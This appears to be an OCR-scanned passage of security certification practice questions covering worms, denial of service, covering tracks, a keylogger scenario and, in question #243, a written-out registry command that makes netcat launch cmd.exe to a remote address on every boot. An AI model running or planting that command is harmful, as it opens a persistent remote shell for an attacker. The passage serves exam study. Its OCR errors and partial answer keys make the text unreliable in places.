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EE #240
Which of'the following malicious software travels across computer networks without the assistance of a user?

A. Hoax

B. Trojan horses
C. Worm

D. Virus

He. C

MH.
Section: Volume A

AE #241
A user is sending a large number of protocol packets to a network in order to saturate its resources and to disrupt connections to
prevent communications between services. Which type of attack is this?

A. Social Engineering attack
B. Impersonation attack

C. Vulnerability attack

D. Denial-of-Service attack
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AE #242

John is a malicious attacker. He illegally accesses the server of We-are-secure Inc. He then places a backdoor in the
We-are-secure server and alters its log files. Which of the following steps of malicious hacking includes altering the
server log files?

¢ A. Covering tracks
¢ B. Recomnaissance
¢ C. Gaining access
¢ D. Maintaining access

HE: A

EAE #243

You run the following command on the remote Windows server 2003 computer:

c\reg add HKILM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:
\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe”

What task do you want to perform by running this command?

Each correct answer represents a complete solution. Choose all that apply.

A. You want to set the Netcat to execute command any time.

B. You want to add the Netcat command to the Windows registry.
C. You want to perform banner grabbing.

D. You want to put Netcat in the stealth mode.
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AE #244

Adam works as a Security Admmnistrator for Umbrella Inc. A project has been assigned to him to test the network security of the
company. He created a webpage to discuss the progress of the tests with employees who were interested in following the test.
Visitors were allowed to click on a company's icon to mark the progress of the test. Adam successfully embeds a keylogger. He
also added some statistics on the webpage. The firewall protects the network well and allows strict Internet access.

How was security compromised and how did the firewall respond?

A. The attack was Cross Site Scripting and the firewall blocked it.

B. Security was not compromised as the webpage was hosted internally.
C. The attack was social engineering and the firewall did not detect it.
D. Security was compromised as keylogger is invisible for firewall.
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